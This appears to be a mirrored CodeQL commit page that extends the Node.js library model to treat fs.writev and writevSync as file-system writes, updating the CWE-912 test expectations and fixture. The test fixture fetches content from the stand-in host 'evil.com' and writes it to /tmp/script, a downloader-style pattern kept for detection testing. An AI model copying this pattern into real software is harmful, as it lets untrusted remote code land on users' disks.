hohn/codeql
1
0
Fork 0
mirror of https://github.com/github/codeql.git synced 2026-04-25 08:45:14 +02:00
Code Issues Packages Projects Releases Wiki Activity

Added NodeJSFileSystemVectorWrite class for vectored write.

Browse Source
This commit is contained in:
Napalys
2025-03-28 11:26:13 +01:00
parent e0c6cbb1b7
commit 495af56ab5
3 changed files with 21 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files

7
javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll
View File

@@ -601,6 +601,13 @@ module NodeJSLib {
}
}
/** A vectored write to the file system using `writev` or `writevSync` methods. */
private class NodeJSFileSystemVectorWrite extends FileSystemWriteAccess, NodeJSFileSystemAccess {
NodeJSFileSystemVectorWrite() { methodName = ["writev", "writevSync"] }
override DataFlow::Node getADataNode() { result = this.getArgument(1) }
}
/** A file system read. */
private class NodeJSFileSystemAccessRead extends FileSystemReadAccess, NodeJSFileSystemAccess {
NodeJSFileSystemAccessRead() { methodName = ["read", "readSync", "readFile", "readFileSync"] }

11
javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected
View File

@@ -1,10 +1,16 @@
#select
| HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | Write to file system depends on $@. | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data |
| HttpToFileAccess.js:14:21:14:23 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:21:14:23 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data |
| HttpToFileAccess.js:18:46:18:48 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:46:18:48 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data |
| tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
| tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
| tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
edges
| HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | provenance | |
| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:22:14:22 | d | provenance | |
| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:47:18:47 | d | provenance | |
| HttpToFileAccess.js:14:22:14:22 | d | HttpToFileAccess.js:14:21:14:23 | [d] | provenance | |
| HttpToFileAccess.js:18:47:18:47 | d | HttpToFileAccess.js:18:46:18:48 | [d] | provenance | |
| tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | |
| tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | |
| tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | provenance | |
@@ -15,6 +21,11 @@ edges
nodes
| HttpToFileAccess.js:5:18:5:18 | d | semmle.label | d |
| HttpToFileAccess.js:6:37:6:37 | d | semmle.label | d |
| HttpToFileAccess.js:12:18:12:18 | d | semmle.label | d |
| HttpToFileAccess.js:14:21:14:23 | [d] | semmle.label | [d] |
| HttpToFileAccess.js:14:22:14:22 | d | semmle.label | d |
| HttpToFileAccess.js:18:46:18:48 | [d] | semmle.label | [d] |
| HttpToFileAccess.js:18:47:18:47 | d | semmle.label | d |
| tst.js:15:26:15:26 | c | semmle.label | c |
| tst.js:16:33:16:33 | c | semmle.label | c |
| tst.js:16:33:16:33 | c | semmle.label | c |

6
javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js
View File

@@ -9,13 +9,13 @@ https.get('https://evil.com/script', res => {
https.get('https://evil.com/script', res => {
res.on("data", d => { // $ MISSING: Source
res.on("data", d => { // $ Source
fs.open("/tmp/script", 'r', (err, fd) => {
fs.writev(fd, [d], (err, bytesWritten) => { // $ MISSING: Alert
fs.writev(fd, [d], (err, bytesWritten) => { // $ Alert
console.log(`Wrote ${bytesWritten} bytes`);
});
const bytesWritten = fs.writevSync(fd, [d]); // $ MISSING: Alert
const bytesWritten = fs.writevSync(fd, [d]); // $ Alert
});
});
});